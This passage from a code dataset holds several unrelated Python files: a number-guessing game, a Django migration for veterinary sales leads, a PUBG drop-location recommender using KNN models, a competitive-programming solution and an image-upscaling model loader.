acertou, o número era {numero_aleatorio}!')\n\n# x = int(input(f'Deseja gerar um número de 1 até: '))\n\ndef computador_advinhara(x):\n menor = 1\n maior = x\n resposta = ''\n\n while resposta != \"c\":\n palpite = random.randint(menor, maior)\n resposta = input(f'O palpite {palpite} está muito alto (A), muito baixo (B) ou está correto (C)? R: ').lower()\n\n if resposta == 'a':\n maior = palpite - 1\n\n elif resposta == 'b':\n menor = palpite + 1\n\n print(f'O computador deu o palpite correto que é {palpite}')\n\ncomputador_advinhara(1001)\n","repo_name":"ADT1710/adivinhe-numeros","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25526780407","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.utils.timezone\nimport model_utils.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='ClinicLead',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('created', model_utils.fields.AutoCreatedField(verbose_name='created', editable=False, default=django.utils.timezone.now)),\n ('modified', model_utils.fields.AutoLastModifiedField(verbose_name='modified', editable=False, default=django.utils.timezone.now)),\n ('clinic_name', models.CharField(max_length=100)),\n ('zipcode', models.CharField(max_length=5)),\n ('state', models.CharField(max_length=30)),\n ('practice_type', models.CharField(max_length=50, choices=[('small_animal_exclusive', 'Small Animal Exclusive'), ('small_animal_predominant', 'Small Animal Predominant'), ('large animal predominant', 'Large Animal Predominant'), ('large_animal_exclusive', 'Large Animal Exclusive'), ('equine_exclusive', 'Equine Exclusive'), ('equine_predominant', 'Equine Predominant'), ('other', 'Other')])),\n ('number_of_licensed_veterinarians', models.IntegerField(max_length=3)),\n ('total_employees', models.IntegerField(max_length=3)),\n ('clinic_website', models.CharField(null=True, max_length=30, blank=True)),\n ('your_name', models.CharField(max_length=100)),\n ('your_position', models.CharField(null=True, max_length=100, blank=True)),\n ('your_email', models.CharField(max_length=200)),\n ('phone_number', models.CharField(null=True, max_length=25, blank=True)),\n ('placing_orders', models.BooleanField(default=False)),\n ('authorized', models.BooleanField(default=False)),\n ('feature_sales', models.BooleanField(default=False)),\n ('feature_support', models.BooleanField(default=False)),\n ('feature_analytics', models.BooleanField(default=False)),\n ('feature_invoicing', models.BooleanField(default=False)),\n ('feature_webpresence', models.BooleanField(default=False)),\n ('beta_user', models.BooleanField(default=False)),\n ('howdidyouhear', models.CharField(max_length=20, choices=[('conference', 'Conference'), ('personal referral', 'Personal Referral'), ('website', 'Website'), ('email', 'Email'), ('other', 'Other')])),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SupplierLead',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True, serialize=False)),\n ('created', model_utils.fields.AutoCreatedField(verbose_name='created', editable=False, default=django.utils.timezone.now)),\n ('modified', model_utils.fields.AutoLastModifiedField(verbose_name='modified', editable=False, default=django.utils.timezone.now)),\n ('company', models.CharField(max_length=100)),\n ('company_type', models.CharField(max_length=25, choices=[('manufacturer', 'Manufacturer'), ('distributor', 'Distributor'), ('compounding pharmacy', 'Compounding Pharmacy'), ('reseller', 'Reseller')])),\n ('company_size', models.CharField(max_length=100, choices=[('< 5', '< 5 employees'), ('5-10', '5-9 employees'), ('10-20', '10-20 employees'), ('21-50', '21-50 employees'), ('51-100', '51-100 employees'), ('101-500', '101-500 employees'), ('500+', '500+ employees')])),\n ('feature_sales', models.BooleanField(default=False)),\n ('feature_support', models.BooleanField(default=False)),\n ('feature_analytics', models.BooleanField(default=False)),\n ('feature_invoicing', models.BooleanField(default=False)),\n ('feature_webpresence', models.BooleanField(default=False)),\n ('name', models.CharField(max_length=100)),\n ('position', models.CharField(max_length=100)),\n ('email', models.CharField(max_length=100)),\n ('phonenumber', models.CharField(null=True, max_length=100, blank=True)),\n ('sell_method', models.CharField(max_length=30, choices=[('exclusive_distribution', 'Exclusively through distribution'), ('predominant_distribution', 'Predominantly through distribution'), ('mixed', 'Mixed between distribution and direct to vets'), ('predominant_direct', 'Predominantly direct to vets'), ('exclusive_direct', 'Exclusively direct to vets')])),\n ('selldirect', models.BooleanField(default=False)),\n ('managing_presence', models.BooleanField(default=None)),\n ('authorized', models.BooleanField(default=None)),\n ('next_steps', models.CharField(max_length=100, choices=[('betauser', \"Beta User: We'd like first access to Vetcove as a beta user\"), ('confirmed', 'Confirmed: We Plan to begin using Vetcove once the site is live'), ('undecided', 'Undecided: Speak with us to learn more between now and launch day')])),\n ('howdidyouhear', models.CharField(null=True, choices=[('conference', 'Conference'), ('personal_referral', 'Personal Referral'), ('google', 'Google'), ('emailmarketing', 'Email Marketing')], max_length=200, blank=True)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"mkates/vetcove-legacy","sub_path":"vetcove/general/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38780606783","text":"from sklearn.externals import joblib\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split, cross_val_score, cross_validate, KFold\nfrom sklearn.preprocessing import MinMaxScaler, LabelEncoder, StandardScaler, OrdinalEncoder\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction import DictVectorizer\n\nimport jsonparser\nimport player_info\nimport logging\nimport os\nimport downloader\nimport data_visualization\n\nimport pickle\nfrom math import sqrt, pi, cos, sin, atan2\nfrom random import random, randint\nimport pandas as pd\nimport numpy as np\nimport constants\nimport random\n\n\ndef in_zone(x, y, zone_x, zone_y, zone_r):\n \"\"\" Given (x, y) of a position, return True if it is within the zone boundaries\n and False if it is not\n \"\"\"\n dist_to_center = sqrt((x - zone_x)**2 + (y - zone_y)**2)\n return dist_to_center < zone_r\n\n\ndef gen_new_safezone(curr_x, curr_y, curr_r, rad_decrease):\n \"\"\"\n Given the current safe zone properties and the proportion to decrease the next one by, generate the next safe zone\n\n :param curr_x: current x coordinate of the safe zone center\n :param curr_y: current y coordinate of the safe zone center\n :param curr_r: current radius of the safe zone\n :param rad_decrease: the ratio to decrease the circle radius by. Typically 0.5\n :return: x, y and radius of the new safe zone\n \"\"\"\n new_r = curr_r * rad_decrease\n\n # Get random radius to new point within new_r\n r_ = new_r * sqrt(random())\n # Get random angle\n theta = random() * 2 * pi\n\n new_x = curr_x + r_ * cos(theta)\n new_y = curr_y + r_ * sin(theta)\n\n return new_x, new_y, new_r\n\n\ndef get_closest_to_safezone(x, y, safe_x, safe_y, safe_r):\n \"\"\"\n Get the point in the safe zone that is closest to the player location\n (Assumed that the player location is OUTSIDE the safe zone)\n\n :param x: player x coordinate\n :param y: player y coordinate\n :param safe_x: x coordinate of safe zone center\n :param safe_y: y coordinate of safe zone center\n :param safe_r: safe zone radius\n :return: the point (rounded like the player locations) closest to the safe zone\n \"\"\"\n distance = sqrt((x - safe_x)**2 + (y - safe_y)**2)\n to_move = distance - safe_r\n angle = atan2(safe_y - y, safe_x - x)\n x_ = player_info.round_raw(x + to_move * cos(angle))\n y_ = player_info.round_raw(y + to_move * sin(angle))\n return x_, y_\n\n\ndef gen_candidate_locations(curr_x, curr_y, next_safe_x, next_safe_y, next_safe_r):\n \"\"\"\n Given a player location and where the next safe zone is, calculate the neighboring locations to use\n as candidates for path generation. Only neighboring locations in the safe zone are considered.\n --> (return may be empty list)\n\n :param curr_x: player x coordinate\n :param curr_y: player y coordinate\n :param next_safe_x: safe zone x coordinate\n :param next_safe_y: safe zone y coordinate\n :param next_safe_r: safe zone radius\n :return: a list of [(x1, y1), (x2, y2), ...] of each neighboring location\n \"\"\"\n candidates = []\n for x in range(curr_x - 10000, curr_x + 20000, 10000):\n for y in range(curr_y - 10000, curr_y + 20000, 10000):\n if in_zone(x, y, next_safe_x, next_safe_y, next_safe_r):\n candidates.append((x, y))\n return candidates\n\n\ndef get_next_loc(game_state, x, y, safe_x, safe_y, safe_r, model):\n \"\"\"\n Given the current game_state, player location, safe zone location, and model, get the next location to add to path\n\n :param game_state: current game state\n :param x: player x coordinate\n :param y: player y coordinate\n :param safe_x: x coordinate of safe zone center\n :param safe_y: y coordinate of safe zone center\n :param safe_r: safe zone radius\n :param model: model used to predict whether locations will result in win or not\n :return:\n \"\"\"\n candidates = gen_candidate_locations(x, y, safe_x, safe_y, safe_r)\n if len(candidates) == 0: # No usual candidates were in the zone\n return get_closest_to_safezone(x, y, safe_x, safe_y, safe_r)\n\n winning_locs = []\n ranks = {0: [], 1: [], 2: [], 3: [], 4: []}\n for cand_x, cand_y in candidates:\n rank = predict_rank(game_state, cand_x, cand_y, safe_x, safe_y, safe_r, model)\n ranks[rank].append((cand_x, cand_y))\n\n if len(ranks[0]) > 0:\n print(\"NEXT LOC RANK 0\")\n return ranks[0][randint(0, len(ranks[0]) - 1)]\n elif len(ranks[1]) > 0:\n print(\"NEXT LOC RANK 1\")\n return ranks[1][randint(0, len(ranks[1]) - 1)]\n elif len(ranks[2]) > 0:\n print(\"NEXT LOC RANK 2\")\n return ranks[2][randint(0, len(ranks[2]) - 1)]\n elif len(ranks[3]) > 0:\n print(\"NEXT LOC RANK 3\")\n return ranks[3][randint(0, len(ranks[3]) - 1)]\n elif len(ranks[4]) > 0:\n print(\"NEX LOC RANK 4\")\n return ranks[4][randint(0, len(ranks[4]) - 1)]\n else:\n return -1, -1\n\n\ndef predict_rank(game_state, x, y, safe_x, safe_y, safe_r, model):\n \"\"\"\n Given information about a location, time, and where the safe zone is, predict whether\n the location is likely to result in a win or loss\n\n :param game_state: float representing the time of game: 0.5, 1.0... etc\n :param x: x coordinate of location to predict\n :param y: y coordinate of location to predict\n :param safe_x: x coordinate of the center of the safe zone\n :param safe_y: y coordinate of the center of the safe zone\n :param safe_r: radius of the safe zone\n :param model: the model to predict with\n :return: 1 if the location is predicted to be a winning location, 0 if it is not\n \"\"\"\n predicted = model.predict(np.array([game_state, x, y, safe_x, safe_y, safe_r]).reshape(1, -1))\n return int(predicted[0].item())\n\n\ndef gen_path(drop_x, drop_y, possible_safe_zones, end_state, model):\n \"\"\"\n Given a drop location, potential locations for the first safe zone, and a model, generate a path\n starting at the drop location.\n\n Path is generated by looking at all neighboring locations that are predicted to result in a win and selecting a\n random one as the next location. If there are no neighboring locations predicted to result in a win, the location\n does not change and the path ends. Otherwise path generation continues until the end_state (a game_state) is reached.\n For each game_state (0.5, 1, 1.5,...) there are two locations generated, and on each even game_state the safe zone\n is updated. This results in 4 locations for each safe zone, except for the first zone which only has 2 generated\n (+ the original drop location)\n\n :param drop_x: x coordinate of the drop location to start from\n :param drop_y: y coordinate of the drop location to start from\n :param possible_safe_zones: a DataFrame where the columns are:\n [x, y, radius]\n and each row represents a possible first safe zone\n :param end_state: the game_state to generate paths up to. Typical values from observed games are in the range of\n 6.5 to 9.5\n :param model: the model to use for predicting whether a location will result in a win\n :return: a DataFrame with columns:\n [x, y, game_state, safe_x, safe_y, safe_r]\n where the first row is the drop location and each subsequent row is the next location in the path\n \"\"\"\n safe_zone = possible_safe_zones.sample(n=1)\n safe_x = safe_zone[\"x\"].values[0].item()\n safe_y = safe_zone[\"y\"].values[0].item()\n safe_r = safe_zone[\"radius\"].values[0].item()\n\n curr_x = drop_x\n curr_y = drop_y\n path = list()\n\n game_state = 0.5\n path.append({\"x\": curr_x, \"y\": curr_y,\n \"game_state\": game_state,\n \"safe_x\": safe_x,\n \"safe_y\": safe_y,\n \"safe_r\": safe_r})\n\n print(\"SAFE ZONE STARTING AT {}, {} : {}\".format(safe_x, safe_y, safe_r))\n\n # While the end_state has not been reached\n while game_state < end_state:\n\n # Get the next position to move\n curr_x, curr_y = get_next_loc(game_state, curr_x, curr_y, safe_x, safe_y, safe_r, model)\n\n if curr_x == -1 and curr_y == -1: # No candidate locations were predicted to be winning locations, path ends\n game_state = end_state\n print(\"NO WINNING MOVES - YOU DIED\")\n else:\n # Add to path\n path.append({\"x\": curr_x, \"y\": curr_y,\n \"game_state\": game_state,\n \"safe_x\": safe_x,\n \"safe_y\": safe_y,\n \"safe_r\": safe_r})\n\n game_state += 0.25\n\n # Update safe zone if the game_state is a whole number\n if int(game_state) == game_state:\n safe_x, safe_y, safe_r = gen_new_safezone(safe_x, safe_y, safe_r, 0.5)\n print(\"NEW SAFE ZONE AT {}, {} : {}\".format(safe_x, safe_y, safe_r))\n return pd.DataFrame(path)\n\n\n# note that I am assuming the target is in the last position of the dataframe\n# additionally, I am assuming that the list has already been filtered(ie. we are only training on the top players)\n# additionally, my current assumption is the data has already been transformed into non-categorical data\ndef train_model(df, max_k):\n x = df[['x_drop_loc_raw', 'y_drop_loc_raw']]\n y = df['success_category']\n # x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=.2)\n best_score = 0.0\n best_model = None\n for k in range(1, max_k):\n scaler = StandardScaler()\n model = KNeighborsClassifier(n_neighbors=k)\n pipeline = Pipeline([('scaler', scaler),\n ('fit', model)])\n score = cross_val_score(pipeline, x, y, cv=5, scoring='accuracy').mean()\n\n\n\n if score > best_score or best_model is None:\n best_score = score\n best_model = pipeline\n print(\"Best Accuracy Score: \" + str(best_score))\n best_model.fit(x, y)\n # return best_model\n return best_model\n\n# preprocess the dataframe\ndef preprocess_data(drop_data):\n drop_data = drop_data.dropna()\n drop_data = drop_data.drop(columns=['player']) # probably don't need to include the player in the model\n drop_data = drop_data.drop(columns=['drop_loc_raw']) # probably don't need to include the player in the model\n drop_data = drop_data.dropna()\n drop_data = drop_data[drop_data['rank'] <= 5]\n labelencoder_x = LabelEncoder()\n x = drop_data.iloc[:, :].values\n drop_data['flight_path'] = labelencoder_x.fit_transform(x[:, 1])\n drop_data['map'] = labelencoder_x.fit_transform(x[:, 2])\n drop_data = drop_data.drop(columns=['rank'])\n drop_data = drop_data[['flight_path', 'map', 'drop_loc_cat']]\n scaler = MinMaxScaler()\n drop_data.loc[:, :-1] = scaler.fit_transform(drop_data[drop_data.columns[:-1]])\n return drop_data\n\n\ndef tune_player_path_model(position_df, max_k):\n \"\"\" Get the optimal k value for predicting rank based on player position and the locations of the two zones\n\n :param position_df: Output of player_info.join_player_and_zone(...)\n :param max_k: max K value to test\n :return: the model that resulted in the highest accuracy when predicting rank\n \"\"\"\n # Zone and player data\n x = position_df.drop(['name', 'ranking'], axis=1)\n\n # Player rank\n y = position_df['ranking']\n\n best_score = 0\n best_model = None\n\n # Hyperparameter Tuning\n for k in range(1, max_k):\n scaler = StandardScaler()\n model = KNeighborsClassifier(n_neighbors=k)\n pipeline = Pipeline([('scaler', scaler),\n ('fit', model)])\n\n score = cross_val_score(pipeline,\n x,\n y,\n cv=5, scoring='accuracy').mean()\n\n #print(\"\\tacc: \", score)\n if score > best_score or best_model is None:\n best_score = score\n best_model = pipeline\n\n print(\"Best Accuracy Score: \" + str(best_score))\n return best_model\n\ndef get_drop_data_by_map(drop_data):\n for i in range(len(drop_data)):\n df = drop_data[i]\n df['x_drop_loc_raw'] = df['drop_loc_raw'].apply(lambda x: x[0])\n df['y_drop_loc_raw'] = df['drop_loc_raw'].apply(lambda x: x[1])\n drop_data[i] = df\n\n for i in range(len(drop_data)):\n df = drop_data[i]\n df = df.drop(columns=['drop_loc_raw'])\n\n for i in range(len(drop_data)):\n df = drop_data[i]\n rank_range = df[\"rank\"].max() - df[\"rank\"].min()\n df[\"success_category\"] = df[\"rank\"].apply(ranking_to_bin, args=(rank_range,))\n drop_data[i] = df\n for i in range(len(drop_data)):\n df = drop_data[i]\n df = df.drop(columns=[\"drop_loc_cat\", \"drop_loc_raw\", \"player\", \"rank\"])\n drop_data[i] = df\ndef ranking_to_bin(ranking, rank_range):\n rank_bin = (ranking - 1) // (rank_range // 5)\n if rank_bin == 5: # Range doesn't divide into 5 evenly, so there will be a 6th bin, need to add to 5th instead\n rank_bin = 4\n return rank_bin\n\n\ndef get_map_data(telemetry_files):\n \"\"\"\n Given a list of telemetry file names, extract the player location and safe zone info to aggregate by map and flight\n path\n\n :param telemetry_files: list of telemetry file names\n :return: dict: {(map_name, flight_path): DataFrame of locations with safe zone, ...}\n \"\"\"\n map_data = dict()\n for i, telemetry_file in enumerate(telemetry_files):\n print(\"\\tMatch {} of {}\".format(i, len(telemetry_files)))\n telemetry = jsonparser.load_pickle(data_dir + telemetry_file)\n flight_cat = jsonparser.get_flight_cat_from_telemetry(telemetry)\n map_name = jsonparser.get_map(telemetry)\n\n if flight_cat is not None:\n print(map_name, \" : \", flight_cat)\n player_loc_info = player_info.get_player_paths(telemetry)\n zone_info = jsonparser.getZoneStates(telemetry)\n combined = player_info.join_player_and_zone(player_loc_info, zone_info).dropna()\n rank_range = combined[\"ranking\"].max() - combined[\"ranking\"].min()\n combined[\"ranking\"] = combined[\"ranking\"].apply(ranking_to_bin, args=(rank_range,))\n print(combined[\"ranking\"].value_counts())\n print(\"MAX STATE: \", combined['gameState'].max())\n\n if (map_name, flight_cat) not in map_data.keys( ):\n map_data[(map_name, flight_cat)] = []\n map_data[(map_name, flight_cat)].append(combined.dropna())\n\n for key, data in map_data.items():\n map_data[key] = pd.concat(data)\n\n return map_data\n\n\ndef train_models(map_data):\n \"\"\" Given the data for each map, train models for that data, fit them to the data, and pickle them\n\n :param map_data: dict: {(map_name, flight_path): DataFrame of player location, ...}\n :return: dict: {(map_name, flight_path): DataFrame of models, ...}\n \"\"\"\n models = dict()\n for key, data in map_data.items():\n print(key, \" : \", len(data))\n optimal = tune_player_path_model(data, 15)\n\n data_x = data.drop(['name', 'ranking'], axis=1)\n data_y = data['ranking']\n optimal.fit(data_x, data_y)\n\n models[key] = optimal\n\n with open(\"./models/{}_{}-model.pickle\".format(key[0], key[1]), \"wb\") as model_f:\n pickle.dump(optimal, model_f)\n model_f.close()\n\n return models\n\n# get_drop_data_by_map should be called before this\ndef train_models_drop_locations(drop_data, max_k):\n '''\n writes trains and writes drop data dataframe to a file\n :param drop_data: array[dataframe] for all map, flight path drop data\n :return: void\n '''\n for i in range(len(drop_data)):\n df = drop_data[i]\n mapName = df.iloc[0]['map']\n flight_direction = df.iloc[0]['flight_path']\n if mapName == 'Savage_Main':\n filepath = \"./drop_models/model_\" + mapName + \".pkl\"\n else:\n filepath = \"./drop_models/model_\" + mapName + \"_\" + flight_direction + \".pkl\"\n model = train_model(df, max_k)\n logging.debug(\"SAVING MODEL TO PATH \" + filepath)\n joblib.dump(model, filepath)\n\n\ndef get_map_constraints(mapName):\n '''\n\n :param mapName: String\n :return: tuple(:min_x: int, :max_x: int, :min_y: int, :max_y: int)\n '''\n if mapName == 'Desert_Main':\n return (constants.DESERT_MIN_X, constants.DESERT_MAX_X, constants.DESERT_MIN_Y, constants.DESERT_MAX_Y)\n elif mapName == 'Erangel_Main':\n return (constants.ERANGEL_MIN_X, constants.ERANGEL_MAX_X, constants.ERANGEL_MIN_Y, constants.ERANGEL_MAX_Y)\n elif mapName == 'DihorOtok_Main':\n return (constants.DIHOROTOK_MIN_X, constants.DIHOROTOK_MAX_X, constants.ERANGEL_MIN_Y, constants.ERANGEL_MAX_Y)\n else:\n assert(mapName == 'Savage_Main')\n return (constants.SAVAGE_MIN_X, constants.SAVAGE_MAX_X, constants.SAVAGE_MIN_Y, constants.SAVAGE_MAX_Y)\n\ndef get_drop_predictions(mapName, flight_path, model):\n '''\n\n :param mapName: String\n :param flight_path: String\n :param model: sklearn Pipeline\n :return: void\n\n writes to a csv file for the best predicted drop locations\n '''\n\n min_x, max_x, min_y, max_y = get_map_constraints(mapName)\n locations = {'x_location': [], 'y_location': []}\n # find the best drop locations\n for x in range(min_x, max_x + 1, constants.DROP_MAP_INCREMENT):\n for y in range(min_y, max_y + 1, constants.DROP_MAP_INCREMENT):\n locations['x_location'].append(x)\n locations['y_location'].append(y)\n\n locations = pd.DataFrame(locations)\n predicted_ranks = model.predict(locations)\n locations['predicted_rank'] = predicted_ranks\n best_predicted_rank = min(predicted_ranks)\n\n locations = locations[locations['predicted_rank'] == best_predicted_rank]\n\n # create a dataframe of the best drop locations and then write to a csv\n if mapName != \"Savage_Main\":\n csv_file_path = \"./drop_locations/drop_\" + mapName + \"_\" + flight_path + \".csv\"\n else:\n csv_file_path = \"./drop_locations/drop_\" + mapName + \".csv\"\n locations.to_csv(csv_file_path)\n print(\"predictions for flight_path \" + flight_path + \" for map \" + mapName + \" written to \" + csv_file_path)\n\n\ndef get_best_drop_location(mapName, flight_path):\n '''\n\n :param mapName: string\n :param flight_path: string\n :return: tuple(:x: int, :y: int)\n\n given a map name and flight direction returns an optimal drop location\n '''\n\n file_path = './drop_locations'\n\n if mapName == 'Savage_Main':\n file_path = file_path + '/' + 'drop_' + mapName + '.csv'\n else:\n file_path = file_path + '/' + 'drop_' + mapName + '_' + flight_path + '.csv'\n\n df = pd.read_csv(file_path)\n index = random.randint(0, len(df) - 1)\n\n optimal_location = df.iloc[index]\n x = optimal_location['x_location']\n y = optimal_location['y_location']\n\n\n return (x, y)\n\n\n\n\nif __name__ == \"__main__\":\n data_dir = \"./data/\"\n match_files = []\n telemetry_files = []\n\n downloader.setup_logging(show_debug=False)\n logging.info(\"Scanning for match and telemetry files in %s to parse\", data_dir)\n for file in os.listdir(data_dir):\n if \"_match\" in file:\n logging.debug(\"Match file %s found, adding as match\", file)\n match_files.append(file)\n elif \"_telemetry\" in file:\n logging.debug(\"Telemetry file %s found, adding as match\", file)\n telemetry_files.append(file)\n\n\n\n\n # this trains the models for predictiing drop locations\n drop_data = jsonparser.get_drop_data(data_dir)\n get_drop_data_by_map(drop_data)\n train_models_drop_locations(drop_data, 20)\n\n\n # Just a test telemetry object\n # t = jsonparser.load_pickle(data_dir + telemetry_files[0])\n # zone_info = jsonparser.getZoneStates(t)\n # blue_zones = zone_info[[\"safetyZonePosition_x\", \"safetyZonePosition_y\", \"safetyZoneRadius\"]]\n # blue_zones.columns = blue_zones.columns.map({\"safetyZonePosition_x\": \"x\",\n # \"safetyZonePosition_y\": \"y\",\n # \"safetyZoneRadius\": \"radius\"})\n #\n # #data = get_map_data(telemetry_files[:5])\n # #models = train_models(data)\n # #\n # # Get map name, flight path, and location info from telemetry\n # map_n = jsonparser.get_map(t)\n # fp = jsonparser.get_flight_cat_from_telemetry(t)\n # drop = player_info.get_player_paths(t)\n # total = player_info.join_player_and_zone(drop, zone_info)\n #\n # # Load the model (NOTE, must have pickled models that are fit to the data already)\n # model = jsonparser.load_pickle(\"./models/Savage_Main_nn-model.pickle\")\n #\n # # Get a random location to use as the drop location\n # total.dropna(inplace=True)\n # rand_pos = total.sample(n=1)\n # x_ = rand_pos['x'].values[0].item()\n # y_ = rand_pos['y'].values[0].item()\n # print(x_, y_)\n # #\n # # Generate a path (DataFrame)\n # path = gen_path(int(x_), int(y_), blue_zones, 8.5, model)\n # print(path)\n #\n # # Display the path\n # data_visualization.display_player_path(pd.DataFrame(path), None, map_n)\n\n # \"\"\"\n","repo_name":"ssachnof/pubg-recommendation-system","sub_path":"recommender.py","file_name":"recommender.py","file_ext":"py","file_size_in_byte":21335,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"74508896163","text":"import sys\ninput = sys.stdin.readline\nN = int(input())\nM = int(input())\nerr = list(map(int,input().split())) #고장난 리모컨 번호\nremote =[] #멀쩡한 리모콘 번호\ncnt = abs(100-N)\nif N == 100:\n print(0)\n exit(0)\nfor t in range(10):\n if t in err:\n continue\n remote.append(t)\nfor i in range(1000001):\n tmp = str(i)\n a=False\n for j in tmp:\n if int(j) in err:\n a=True\n break\n if a:\n continue\n else:\n cnt = min(cnt , abs(N-i) + len(str(i)))\nprint(cnt)\n\n\n\n\n\n\n#check_remote ='' #체킹용 리모콘번호 #545\n#for j in N :\n# if int(j) in remote:\n# check_remote = check_remote +str(j)\n#cha = len(N)-len(check_remote)\n#\n#for i in range(int(cha)):\n# for j in remote:\n# res.append(check_remote+str(j))\n#\n#for t in res:\n# answer.append(abs(int(N) - int(t)))\n#\n#print(check_remote)\n#print(len(N)+min(answer))","repo_name":"young0264/hellopycharm","sub_path":"백준/1107_리모컨.py","file_name":"1107_리모컨.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16134389952","text":"import os\r\nimport torch\r\nfrom basicsr.utils.download_util import load_file_from_url\r\nfrom basicsr.archs.rrdbnet_arch import RRDBNet\r\nfrom basicsr.archs.srvgg_arch import SRVGGNetCompact\r\nfrom gfpgan.utils import GFPGANer\r\nfrom realesrgan.utils import RealESRGANer\r\n\r\nfrom config import *\r\nfrom srcnn import SRCNN\r\n\r\n\r\ndef get_upsampler(model_name, device=None):\r\n if model_name == \"RealESRGAN_x4plus\": # x4 RRDBNet model\r\n model = RRDBNet(\r\n num_in_ch=3,\r\n num_out_ch=3,\r\n num_feat=64,\r\n num_block=23,\r\n num_grow_ch=32,\r\n scale=4,\r\n )\r\n netscale = 4\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth\"\r\n ]\r\n elif model_name == \"RealESRNet_x4plus\": # x4 RRDBNet model\r\n model = RRDBNet(\r\n num_in_ch=3,\r\n num_out_ch=3,\r\n num_feat=64,\r\n num_block=23,\r\n num_grow_ch=32,\r\n scale=4,\r\n )\r\n netscale = 4\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.1.1/RealESRNet_x4plus.pth\"\r\n ]\r\n elif model_name == \"RealESRGAN_x4plus_anime_6B\": # x4 RRDBNet model with 6 blocks\r\n model = RRDBNet(\r\n num_in_ch=3, num_out_ch=3, num_feat=64, num_block=6, num_grow_ch=32, scale=4\r\n )\r\n netscale = 4\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.2.2.4/RealESRGAN_x4plus_anime_6B.pth\"\r\n ]\r\n elif model_name == \"RealESRGAN_x2plus\": # x2 RRDBNet model\r\n model = RRDBNet(\r\n num_in_ch=3,\r\n num_out_ch=3,\r\n num_feat=64,\r\n num_block=23,\r\n num_grow_ch=32,\r\n scale=2,\r\n )\r\n netscale = 2\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.2.1/RealESRGAN_x2plus.pth\"\r\n ]\r\n elif model_name == \"realesr-animevideov3\": # x4 VGG-style model (XS size)\r\n model = SRVGGNetCompact(\r\n num_in_ch=3,\r\n num_out_ch=3,\r\n num_feat=64,\r\n num_conv=16,\r\n upscale=4,\r\n act_type=\"prelu\",\r\n )\r\n netscale = 4\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.2.5.0/realesr-animevideov3.pth\"\r\n ]\r\n elif model_name == \"realesr-general-x4v3\": # x4 VGG-style model (S size)\r\n model = SRVGGNetCompact(\r\n num_in_ch=3,\r\n num_out_ch=3,\r\n num_feat=64,\r\n num_conv=32,\r\n upscale=4,\r\n act_type=\"prelu\",\r\n )\r\n netscale = 4\r\n file_url = [\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.2.5.0/realesr-general-wdn-x4v3.pth\",\r\n \"https://github.com/xinntao/Real-ESRGAN/releases/download/v0.2.5.0/realesr-general-x4v3.pth\",\r\n ]\r\n elif model_name == \"srcnn\":\r\n model = SRCNN(device=device)\r\n model_path = os.path.join(ROOT_DIR, WEIGHT_DIR, model_name + \".pth\")\r\n model.load_state_dict(torch.load(model_path, map_location=torch.device(\"cpu\")))\r\n if device:\r\n model.to(device)\r\n return model\r\n else:\r\n raise ValueError(f\"Wrong model version {model_name}.\")\r\n\r\n model_path = os.path.join(ROOT_DIR, WEIGHT_DIR, model_name + \".pth\")\r\n if not os.path.exists(model_path):\r\n print(f\"Downloading weights for model {model_name}\")\r\n\r\n for url in file_url:\r\n # model_path will be updated\r\n model_path = load_file_from_url(\r\n url=url,\r\n model_dir=os.path.join(ROOT_DIR, WEIGHT_DIR),\r\n progress=True,\r\n file_name=None,\r\n )\r\n\r\n if model_name != \"realesr-general-x4v3\":\r\n dni_weight = None\r\n else:\r\n dni_weight = [0.5, 0.5]\r\n wdn_model_path = model_path.replace(\r\n \"realesr-general-x4v3\", \"realesr-general-wdn-x4v3\"\r\n )\r\n model_path = [model_path, wdn_model_path]\r\n\r\n half = \"cuda\" in str(device)\r\n\r\n return RealESRGANer(\r\n scale=netscale,\r\n model_path=model_path,\r\n dni_weight=dni_weight,\r\n model=model,\r\n half=half,\r\n device=device,\r\n )\r\n\r\n\r\ndef get_face_enhancer(model_name, upscale=2, bg_upsampler=None, device=None):\r\n if model_name == \"GFPGANv1.3\":\r\n arch = \"clean\"\r\n channel_multiplier = 2\r\n file_url = \"https://github.com/TencentARC/GFPGAN/releases/download/v1.3.0/GFPGANv1.3.pth\"\r\n elif model_name == \"GFPGANv1.4\":\r\n arch = \"clean\"\r\n channel_multiplier = 2\r\n file_url = \"https://github.com/TencentARC/GFPGAN/releases/download/v1.3.0/GFPGANv1.4.pth\"\r\n elif model_name == \"RestoreFormer\":\r\n arch = \"RestoreFormer\"\r\n channel_multiplier = 2\r\n file_url = \"https://github.com/TencentARC/GFPGAN/releases/download/v1.3.4/RestoreFormer.pth\"\r\n else:\r\n raise ValueError(f\"Wrong model version {model_name}.\")\r\n\r\n model_path = os.path.join(ROOT_DIR, WEIGHT_DIR, model_name + \".pth\")\r\n if not os.path.exists(model_path):\r\n print(f\"Downloading weights for model 